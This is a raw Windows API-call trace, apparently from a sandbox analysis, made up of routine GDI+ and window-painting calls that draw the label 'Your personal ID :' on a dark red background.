[0286.673] GdipSaveGraphics (graphics=0x1c5a8050, state=0x2eb4c0) returned 0x0
[0286.673] IsAppThemed () returned 0x1
[0286.673] GetThemeAppProperties () returned 0x3
[0286.673] GetThemeAppProperties () returned 0x3
[0286.673] IsAppThemed () returned 0x1
[0286.673] GetThemeAppProperties () returned 0x3
[0286.673] GetThemeAppProperties () returned 0x3
[0286.674] IsThemePartDefined () returned 0x1
[0286.674] GdipGetTextRenderingHint (graphics=0x1c5a8050, mode=0x2eb2b8) returned 0x0
[0286.674] GdipCreateRegion (region=0x2eb130) returned 0x0
[0286.674] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0286.675] GdipCreateMatrix (matrix=0x2eb130) returned 0x0
[0286.675] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af550) returned 0x0
[0286.675] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2eb198) returned 0x0
[0286.675] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.675] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0286.675] LocalFree (hMem=0x1de51510) returned 0x0
[0286.676] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0286.676] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2eb200) returned 0x0
[0286.676] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0286.676] GdipGetDC (graphics=0x1c5a8050, hdc=0x2eb208) returned 0x0
[0286.676] GetCurrentObject (hdc=0x18010b4c, type=0x1) returned 0x1b00017
[0286.676] GetCurrentObject (hdc=0x18010b4c, type=0x2) returned 0x1900010
[0286.677] GetCurrentObject (hdc=0x18010b4c, type=0x7) returned 0x6050b85
[0286.677] GetCurrentObject (hdc=0x18010b4c, type=0x6) returned 0x18a002e
[0286.677] SaveDC (hdc=0x18010b4c) returned 1
[0286.677] OffsetViewportOrgEx (in: hdc=0x18010b4c, x=0, y=0, lppt=0x27f3080 | out: lppt=0x27f3080) returned 1
[0286.677] GetCurrentObject (hdc=0x18010b4c, type=0x6) returned 0x18a002e
[0286.678] GetObjectW (in: h=0x18a002e, c=92, pv=0x2eb000 | out: pv=0x2eb000) returned 92
[0286.678] SelectObject (hdc=0x18010b4c, h=0x50a0b98) returned 0x18a002e
[0286.678] DrawTextExW (in: hdc=0x18010b4c, lpchText="Your personal ID :", cchText=18, lprc=0x2eb2b8, format=0x2410, lpdtp=0x27f3098 | out: lpchText="Your personal ID :", lprc=0x2eb2b8) returned 14
[0286.679] RestoreDC (hdc=0x18010b4c, nSavedDC=-1) returned 1
[0286.679] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x18010b4c) returned 0x0
[0286.679] GdipGetTextRenderingHint (graphics=0x1c5a8050, mode=0x2eb288) returned 0x0
[0286.679] GdipCreateRegion (region=0x2eb100) returned 0x0
[0286.679] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0286.680] GdipCreateMatrix (matrix=0x2eb100) returned 0x0
[0286.680] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af510) returned 0x0
[0286.680] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2eb168) returned 0x0
[0286.680] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.680] GdipGetMatrixElements (matrix=0x1c5af510, matrixOut=0x1de51510) returned 0x0
[0286.680] LocalFree (hMem=0x1de51510) returned 0x0
[0286.680] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0286.681] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2eb1d0) returned 0x0
[0286.681] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0286.681] GdipGetDC (graphics=0x1c5a8050, hdc=0x2eb1d8) returned 0x0
[0286.681] GetCurrentObject (hdc=0x18010b4c, type=0x1) returned 0x1b00017
[0286.681] GetCurrentObject (hdc=0x18010b4c, type=0x2) returned 0x1900010
[0286.681] GetCurrentObject (hdc=0x18010b4c, type=0x7) returned 0x6050b85
[0286.681] GetCurrentObject (hdc=0x18010b4c, type=0x6) returned 0x18a002e
[0286.682] SaveDC (hdc=0x18010b4c) returned 1
[0286.682] OffsetViewportOrgEx (in: hdc=0x18010b4c, x=0, y=0, lppt=0x27f3498 | out: lppt=0x27f3498) returned 1
[0286.682] GetTextAlign (hdc=0x18010b4c) returned 0x0
[0286.682] GetTextColor (hdc=0x18010b4c) returned 0x0
[0286.682] SetTextColor (hdc=0x18010b4c, color=0xffff) returned 0x0
[0286.682] GetCurrentObject (hdc=0x18010b4c, type=0x6) returned 0x18a002e
[0286.683] GetObjectW (in: h=0x18a002e, c=92, pv=0x2eada0 | out: pv=0x2eada0) returned 92
[0286.683] SelectObject (hdc=0x18010b4c, h=0x50a0b98) returned 0x18a002e
[0286.683] GetBkMode (hdc=0x18010b4c) returned 2
[0286.683] SetBkMode (hdc=0x18010b4c, mode=1) returned 2
[0286.684] DrawTextExW (in: hdc=0x18010b4c, lpchText="Your personal ID :", cchText=18, lprc=0x2eb1f8, format=0x2010, lpdtp=0x27f3698 | out: lpchText="Your personal ID :", lprc=0x2eb1f8) returned 14
[0286.684] RestoreDC (hdc=0x18010b4c, nSavedDC=-1) returned 1
[0286.684] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x18010b4c) returned 0x0
[0286.685] GetDC (hWnd=0x0) returned 0x1010a48
[0286.685] GdipCreateFromHDC (hdc=0x1010a48, graphics=0x2eb2a8) returned 0x0
[0286.685] GdipGetFontHeight (font=0x1c5af090, graphics=0x1cb7dad0, height=0x2eb2a4) returned 0x0
[0286.685] GdipDeleteGraphics (graphics=0x1cb7dad0) returned 0x0
[0286.686] ReleaseDC (hWnd=0x0, hDC=0x1010a48) returned 1
[0286.686] GetDC (hWnd=0x0) returned 0x1010a48
[0286.686] GdipCreateFromHDC (hdc=0x1010a48, graphics=0x2eb2a8) returned 0x0
[0286.687] GdipGetFontHeight (font=0x1c5af090, graphics=0x1cb7dad0, height=0x2eb2a4) returned 0x0
[0286.687] GdipDeleteGraphics (graphics=0x1cb7dad0) returned 0x0
[0286.687] ReleaseDC (hWnd=0x0, hDC=0x1010a48) returned 1
[0286.687] GdipCreateRegion (region=0x2eb0f0) returned 0x0
[0286.688] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0286.688] GdipCreateMatrix (matrix=0x2eb0f0) returned 0x0
[0286.688] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af550) returned 0x0
[0286.688] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2eb158) returned 0x0
[0286.689] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.689] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0286.689] LocalFree (hMem=0x1de51510) returned 0x0
[0286.689] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0286.690] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2eb1c0) returned 0x0
[0286.690] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0286.690] GdipGetDC (graphics=0x1c5a8050, hdc=0x2eb1c8) returned 0x0
[0286.690] GetCurrentObject (hdc=0x18010b4c, type=0x1) returned 0x1b00017
[0286.691] GetCurrentObject (hdc=0x18010b4c, type=0x2) returned 0x1900010
[0286.691] GetCurrentObject (hdc=0x18010b4c, type=0x7) returned 0x6050b85
[0286.691] GetCurrentObject (hdc=0x18010b4c, type=0x6) returned 0x18a002e
[0286.691] SaveDC (hdc=0x18010b4c) returned 1
[0286.691] OffsetViewportOrgEx (in: hdc=0x18010b4c, x=0, y=0, lppt=0x27f3a80 | out: lppt=0x27f3a80) returned 1
[0286.692] IsAppThemed () returned 0x1
[0286.692] GetThemeAppProperties () returned 0x3
[0286.692] GetThemeAppProperties () returned 0x3
[0286.692] DrawThemeBackground () returned 0x0
[0286.692] RestoreDC (hdc=0x18010b4c, nSavedDC=-1) returned 1
[0286.692] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x18010b4c) returned 0x0
[0286.692] GdipCreateRegion (region=0x2eb0f0) returned 0x0
[0286.692] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0286.692] GdipCreateMatrix (matrix=0x2eb0f0) returned 0x0
[0286.693] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af510) returned 0x0
[0286.693] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2eb158) returned 0x0
[0286.693] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.693] GdipGetMatrixElements (matrix=0x1c5af510, matrixOut=0x1de51510) returned 0x0
[0286.693] LocalFree (hMem=0x1de51510) returned 0x0
[0286.693] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0286.693] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2eb1c0) returned 0x0
[0286.694] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0286.694] GdipGetDC (graphics=0x1c5a8050, hdc=0x2eb1c8) returned 0x0
[0286.694] GetCurrentObject (hdc=0x18010b4c, type=0x1) returned 0x1b00017
[0286.694] GetCurrentObject (hdc=0x18010b4c, type=0x2) returned 0x1900010
[0286.694] GetCurrentObject (hdc=0x18010b4c, type=0x7) returned 0x6050b85
[0286.694] GetCurrentObject (hdc=0x18010b4c, type=0x6) returned 0x18a002e
[0286.695] SaveDC (hdc=0x18010b4c) returned 1
[0286.695] OffsetViewportOrgEx (in: hdc=0x18010b4c, x=0, y=0, lppt=0x27f3ed8 | out: lppt=0x27f3ed8) returned 1
[0286.695] IsAppThemed () returned 0x1
[0286.695] GetThemeAppProperties () returned 0x3
[0286.695] GetThemeAppProperties () returned 0x3
[0286.695] DrawThemeBackground () returned 0x0
[0286.695] RestoreDC (hdc=0x18010b4c, nSavedDC=-1) returned 1
[0286.695] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x18010b4c) returned 0x0
[0286.695] GdipCreateRegion (region=0x2eb0f0) returned 0x0
[0286.696] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0286.696] GdipCreateMatrix (matrix=0x2eb0f0) returned 0x0
[0286.696] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af550) returned 0x0
[0286.696] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2eb158) returned 0x0
[0286.696] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.696] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0286.696] LocalFree (hMem=0x1de51510) returned 0x0
[0286.697] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0286.697] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2eb1c0) returned 0x0
[0286.697] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0286.697] GdipGetDC (graphics=0x1c5a8050, hdc=0x2eb1c8) returned 0x0
[0286.697] GetCurrentObject (hdc=0x18010b4c, type=0x1) returned 0x1b00017
[0286.697] GetCurrentObject (hdc=0x18010b4c, type=0x2) returned 0x1900010
[0286.698] GetCurrentObject (hdc=0x18010b4c, type=0x7) returned 0x6050b85
[0286.698] GetCurrentObject (hdc=0x18010b4c, type=0x6) returned 0x18a002e
[0286.698] SaveDC (hdc=0x18010b4c) returned 1
[0286.698] OffsetViewportOrgEx (in: hdc=0x18010b4c, x=0, y=0, lppt=0x27f4330 | out: lppt=0x27f4330) returned 1
[0286.698] IsAppThemed () returned 0x1
[0286.698] GetThemeAppProperties () returned 0x3
[0286.698] GetThemeAppProperties () returned 0x3
[0286.698] DrawThemeBackground () returned 0x0
[0286.698] RestoreDC (hdc=0x18010b4c, nSavedDC=-1) returned 1
[0286.698] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x18010b4c) returned 0x0
[0286.699] GdipDeleteGraphics (graphics=0x1c5a8050) returned 0x0
[0286.699] SelectPalette (hdc=0x18010b4c, hPal=0x188000b, bForceBkgd=0) returned 0x3080b87
[0286.699] SetTextColor (hdc=0x18010b4c, color=0x0) returned 0x0
[0286.699] SetBkColor (hdc=0x18010b4c, color=0xffffff) returned 0xffffff
[0286.699] SendMessageW (hWnd=0x2027c, Msg=0x204e, wParam=0x2027c, lParam=0x2ebaf0) returned 0x0
[0286.700] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x2027c, Msg=0x204e, wParam=0x2027c, lParam=0x2ebaf0) returned 0x0
[0286.700] SendMessageW (hWnd=0x2027c, Msg=0x204e, wParam=0x2027c, lParam=0x2ebaf0) returned 0x0
[0286.700] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x2027c, Msg=0x204e, wParam=0x2027c, lParam=0x2ebaf0) returned 0x0
[0286.700] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x2027c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x4
[0286.700] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x2027c, Msg=0xd, wParam=0x5, lParam=0x27eb5fe0) returned 0x4
[0286.700] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x2027e, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1
[0286.700] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x2027e, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x1
[0286.700] SetTextColor (hdc=0x2010a5c, color=0xffffff) returned 0x0
[0286.701] SetBkColor (hdc=0x2010a5c, color=0x80) returned 0xffffff
[0286.701] GetWindowTextLengthW (hWnd=0x2029e) returned 18
[0286.701] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2029e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x12
[0286.701] GetSystemMetrics (nIndex=42) returned 0
[0286.701] GetWindowTextW (in: hWnd=0x2029e, lpString=0x2eac60, nMaxCount=19 | out: lpString="Your personal ID :") returned 18
[0286.701] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2029e, Msg=0xd, wParam=0x13, lParam=0x2eac60) returned 0x12
[0286.701] GetClientRect (in: hWnd=0x2029e, lpRect=0x2eae28 | out: lpRect=0x2eae28) returned 1
[0286.701] GetCurrentObject (hdc=0x19010b4c, type=0x1) returned 0x1b00017
[0286.702] GetCurrentObject (hdc=0x19010b4c, type=0x2) returned 0x1900010
[0286.702] GetCurrentObject (hdc=0x19010b4c, type=0x7) returned 0x6050b85
[0286.702] GetCurrentObject (hdc=0x19010b4c, type=0x6) returned 0x18a002e
[0286.702] SaveDC (hdc=0x19010b4c) returned 1
[0286.702] GetNearestColor (hdc=0x19010b4c, color=0x80) returned 0x80
[0286.702] CreateSolidBrush (color=0x80) returned 0x201007d3
[0286.703] FillRect (hDC=0x19010b4c, lprc=0x2eab18, hbr=0x201007d3) returned 1
[0286.703] DeleteObject (ho=0x201007d3) returned 1
[0286.703] RestoreDC (hdc=0x19010b4c, nSavedDC=-1) returned 1
[0286.703] GetWindowTextLengthW (hWnd=0x2029e) returned 18
[0286.703] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2029e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x12
[0286.703] GetSystemMetrics (nIndex=42) returned 0
[0286.703] GetWindowTextW (in: hWnd=0x2029e, lpString=0x2eac60, nMaxCount=19 | out: lpString="Your personal ID :") returned 18
[0286.703] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2029e, Msg=0xd, wParam=0x13, lParam=0x2eac60) returned 0x12
[0286.704] IsAppThemed () returned 0x1
[0286.704] GetThemeAppProperties () returned 0x3
[0286.704] GetThemeAppProperties () returned 0x3
[0286.704] SelectPalette (hdc=0x19010b4c, hPal=0x3080b87, bForceBkgd=1) returned 0x188000b
[0286.704] GdipCreateFromHDC (hdc=0x19010b4c, graphics=0x2ead08) returned 0x0
[0286.704] GdipSetPageUnit (graphics=0x1c5a8050, unit=0x2) returned 0x0
[0286.704] GdipCreateMatrix (matrix=0x2eac00) returned 0x0
[0286.704] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af510) returned 0x0
[0286.705] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2eac68) returned 0x0
[0286.705] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0286.705] GdipCreateRegion (region=0x2eac00) returned 0x0
[0286.705] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0286.705] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2eac60) returned 0x0
[0286.705] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0286.706] GdipSaveGraphics (graphics=0x1c5a8050, state=0x2ead00) returned 0x0
[0286.706] IsAppThemed () returned 0x1
[0286.706] GetThemeAppProperties () returned 0x3
[0286.706] GetThemeAppProperties () returned 0x3
[0286.706] IsAppThemed () returned 0x1
[0286.706] GetThemeAppProperties () returned 0x3
[0286.706] GetThemeAppProperties () returned 0x3
[0286.706] IsThemePartDefined () returned 0x1
[0286.706] GdipGetTextRenderingHint (graphics=0x1c5a8050, mode=0x2eaaf8) returned 0x0
[0286.706] GdipCreateRegion (region=0x2ea970) returned 0x0
[0286.706] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0286.707] GdipCreateMatrix (matrix=0x2ea970) returned 0x0
[0286.707] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af550) returned 0x0
[0286.707] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ea9d8) returned 0x0
[0286.707] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.707] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0286.707] LocalFree (hMem=0x1de51510) returned 0x0
[0286.708] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0286.708] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2eaa40) returned 0x0
[0286.708] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0286.708] GdipGetDC (graphics=0x1c5a8050, hdc=0x2eaa48) returned 0x0
[0286.708] GetCurrentObject (hdc=0x19010b4c, type=0x1) returned 0x1b00017
[0286.708] GetCurrentObject (hdc=0x19010b4c, type=0x2) returned 0x1900010
[0286.708] GetCurrentObject (hdc=0x19010b4c, type=0x7) returned 0x6050b85
[0286.709] GetCurrentObject (hdc=0x19010b4c, type=0x6) returned 0x18a002e
[0286.709] SaveDC (hdc=0x19010b4c) returned 1
[0286.709] OffsetViewportOrgEx (in: hdc=0x19010b4c, x=0, y=0, lppt=0x27f5090 | out: lppt=0x27f5090) returned 1
[0286.709] GetCurrentObject (hdc=0x19010b4c, type=0x6) returned 0x18a002e
[0286.709] GetObjectW (in: h=0x18a002e, c=92, pv=0x2ea840 | out: pv=0x2ea840) returned 92
[0286.710] SelectObject (hdc=0x19010b4c, h=0x50a0b98) returned 0x18a002e
[0286.710] DrawTextExW (in: hdc=0x19010b4c, lpchText="Your personal ID :", cchText=18, lprc=0x2eaaf8, format=0x2410, lpdtp=0x27f50a8 | out: lpchText="Your personal ID :", lprc=0x2eaaf8) returned 14
[0286.710] RestoreDC (hdc=0x19010b4c, nSavedDC=-1) returned 1
[0286.710] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x19010b4c) returned 0x0
[0286.711] GdipGetTextRenderingHint (graphics=0x1c5a8050, mode=0x2eaac8) returned 0x0
[0286.711] GdipCreateRegion (region=0x2ea940) returned 0x0
[0286.711] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0286.711] GdipCreateMatrix (matrix=0x2ea940) returned 0x0
[0286.711] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af510) returned 0x0
[0286.711] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2ea9a8) returned 0x0
[0286.712] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.712] GdipGetMatrixElements (matrix=0x1c5af510, matrixOut=0x1de51510) returned 0x0
[0286.712] LocalFree (hMem=0x1de51510) returned 0x0
[0286.712] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0286.712] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2eaa10) returned 0x0
[0286.712] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0286.712] GdipGetDC (graphics=0x1c5a8050, hdc=0x2eaa18) returned 0x0
[0286.713] GetCurrentObject (hdc=0x19010b4c, type=0x1) returned 0x1b00017
[0286.713] GetCurrentObject (hdc=0x19010b4c, type=0x2) returned 0x1900010
[0286.713] GetCurrentObject (hdc=0x19010b4c, type=0x7) returned 0x6050b85
[0286.713] GetCurrentObject (hdc=0x19010b4c, type=0x6) returned 0x18a002e
[0286.713] SaveDC (hdc=0x19010b4c) returned 1
[0286.713] OffsetViewportOrgEx (in: hdc=0x19010b4c, x=0, y=0, lppt=0x27f54a8 | out: lppt=0x27f54a8) returned 1
[0286.714] GetTextAlign (hdc=0x19010b4c) returned 0x0
[0286.714] GetTextColor (hdc=0x19010b4c) returned 0x0
[0286.714] SetTextColor (hdc=0x19010b4c, color=0xffff) returned 0x0
[0286.714] GetCurrentObject (hdc=0x19010b4c, type=0x6) returned 0x18a002e
[0286.714] GetObjectW (in: h=0x18a002e, c=92, pv=0x2ea5e0 | out: pv=0x2ea5e0) returned 92
[0286.715] SelectObject (hdc=0x19010b4c, h=0x50a0b98) returned 0x18a002e
[0286.715] GetBkMode (hdc=0x19010b4c) returned 2
[0286.715] SetBkMode (hdc=0x19010b4c, mode=1) returned 2
[0286.715] DrawTextExW (in: hdc=0x19010b4c, lpchText="Your personal ID :", cchText=18, lprc=0x2eaa38, format=0x2010, lpdtp=0x27f56a8 | out: lpchText="Your personal ID :", lprc=0x2eaa38) returned 14
[0286.715] RestoreDC (hdc=0x19010b4c, nSavedDC=-1) returned 1
[0286.716] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x19010b4c) returned 0x0
[0286.716] GetDC (hWnd=0x0) returned 0x1010a48
[0286.716] GdipCreateFromHDC (hdc=0x1010a48, graphics=0x2eaae8) returned 0x0
[0286.716] GdipGetFontHeight (font=0x1c5af090, graphics=0x1cb7dad0, height=0x2eaae4) returned 0x0
[0286.716] GdipDeleteGraphics (graphics=0x1cb7dad0) returned 0x0
[0286.717] ReleaseDC (hWnd=0x0, hDC=0x1010a48) returned 1
[0286.717] GetDC (hWnd=0x0) returned 0x1010a48
[0286.717] GdipCreateFromHDC (hdc=0x1010a48, graphics=0x2eaae8) returned 0x0
[0286.717] GdipGetFontHeight (font=0x1c5af090, graphics=0x1cb7dad0, height=0x2eaae4) returned 0x0
[0286.717] GdipDeleteGraphics (graphics=0x1cb7dad0) returned 0x0
[0286.717] ReleaseDC (hWnd=0x0, hDC=0x1010a48) returned 1
[0286.718] GdipCreateRegion (region=0x2ea930) returned 0x0
[0286.718] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0286.718] GdipCreateMatrix (matrix=0x2ea930) returned 0x0
[0286.718] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af550) returned 0x0
[0286.718] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ea998) returned 0x0
[0286.719] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.719] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0286.719] LocalFree (hMem=0x1de51510) returned 0x0
[0286.719] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0286.719] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2eaa00) returned 0x0
[0286.719] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0286.720] GdipGetDC (graphics=0x1c5a8050, hdc=0x2eaa08) returned 0x0
[0286.720] GetCurrentObject (hdc=0x19010b4c, type=0x1) returned 0x1b00017
[0286.720] GetCurrentObject (hdc=0x19010b4c, type=0x2) returned 0x1900010
[0286.720] GetCurrentObject (hdc=0x19010b4c, type=0x7) returned 0x6050b85
[0286.721] GetCurrentObject (hdc=0x19010b4c, type=0x6) returned 0x18a002e
[0286.721] SaveDC (hdc=0x19010b4c) returned 1
[0286.722] OffsetViewportOrgEx (in: hdc=0x19010b4c, x=0, y=0, lppt=0x27f5a90 | out: lppt=0x27f5a90) returned 1
[0286.722] IsAppThemed () returned 0x1
[0286.722] GetThemeAppProperties () returned 0x3
[0286.722] GetThemeAppProperties () returned 0x3
[0286.722] DrawThemeBackground () returned 0x0
[0286.722] RestoreDC (hdc=0x19010b4c, nSavedDC=-1) returned 1
[0286.722] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x19010b4c) returned 0x0
[0286.722] GdipCreateRegion (region=0x2ea930) returned 0x0
[0286.722] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0286.722] GdipCreateMatrix (matrix=0x2ea930) returned 0x0
[0286.723] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af510) returned 0x0
[0286.723] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2ea998) returned 0x0
[0286.723] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.723] GdipGetMatrixElements (matrix=0x1c5af510, matrixOut=0x1de51510) returned 0x0
[0286.723] LocalFree (hMem=0x1de51510) returned 0x0
[0286.723] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0286.724] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2eaa00) returned 0x0
[0286.724] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0286.724] GdipGetDC (graphics=0x1c5a8050, hdc=0x2eaa08) returned 0x0
[0286.724] GetCurrentObject (hdc=0x19010b4c, type=0x1) returned 0x1b00017
[0286.724] GetCurrentObject (hdc=0x19010b4c, type=0x2) returned 0x1900010
[0286.724] GetCurrentObject (hdc=0x19010b4c, type=0x7) returned 0x6050b85
[0286.724] GetCurrentObject (hdc=0x19010b4c, type=0x6) returned 0x18a002e
[0286.725] SaveDC (hdc=0x19010b4c) returned 1
[0286.725] OffsetViewportOrgEx (in: hdc=0x19010b4c, x=0, y=0, lppt=0x27f5ee8 | out: lppt=0x27f5ee8) returned 1
[0286.725] IsAppThemed () returned 0x1
[0286.725] GetThemeAppProperties () returned 0x3
[0286.725] GetThemeAppProperties () returned 0x3
[0286.725] DrawThemeBackground () returned 0x0
[0286.725] RestoreDC (hdc=0x19010b4c, nSavedDC=-1) returned 1
[0286.725] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x19010b4c) returned 0x0
[0286.725] GdipCreateRegion (region=0x2ea930) returned 0x0
[0286.726] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0286.726] GdipCreateMatrix (matrix=0x2ea930) returned 0x0
[0286.726] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af550) returned 0x0
[0286.726] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ea998) returned 0x0
[0286.726] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.726] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0286.726] LocalFree (hMem=0x1de51510) returned 0x0
[0286.727] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0286.727] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2eaa00) returned 0x0
[0286.727] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0286.727] GdipGetDC (graphics=0x1c5a8050, hdc=0x2eaa08) returned 0x0
[0286.727] GetCurrentObject (hdc=0x19010b4c, type=0x1) returned 0x1b00017
[0286.727] GetCurrentObject (hdc=0x19010b4c, type=0x2) returned 0x1900010
[0286.727] GetCurrentObject (hdc=0x19010b4c, type=0x7) returned 0x6050b85
[0286.728] GetCurrentObject (hdc=0x19010b4c, type=0x6) returned 0x18a002e
[0286.728] SaveDC (hdc=0x19010b4c) returned 1
[0286.728] OffsetViewportOrgEx (in: hdc=0x19010b4c, x=0, y=0, lppt=0x27f6340 | out: lppt=0x27f6340) returned 1
[0286.728] IsAppThemed () returned 0x1
[0286.728] GetThemeAppProperties () returned 0x3
[0286.728] GetThemeAppProperties () returned 0x3
[0286.728] DrawThemeBackground () returned 0x0
[0286.728] RestoreDC (hdc=0x19010b4c, nSavedDC=-1) returned 1
[0286.728] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x19010b4c) returned 0x0
[0286.729] GdipDeleteGraphics (graphics=0x1c5a8050) returned 0x0
[0286.729] SelectPalette (hdc=0x19010b4c, hPal=0x188000b, bForceBkgd=0) returned 0x3080b87
[0286.729] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x2027e, Msg=0x14, wParam=0x2010a5c, lParam=0x0) returned 0x1
[0286.730] SetTextColor (hdc=0x1a010b4c, color=0xffffff) returned 0x0
[0286.730] SetBkColor (hdc=0x1a010b4c, color=0x80) returned 0xffffff
[0286.732] BeginPaint (in: hWnd=0x102a8, lpPaint=0x2ec018 | out: lpPaint=0x2ec018) returned 0x2010b40
[0286.732] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x102a8, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
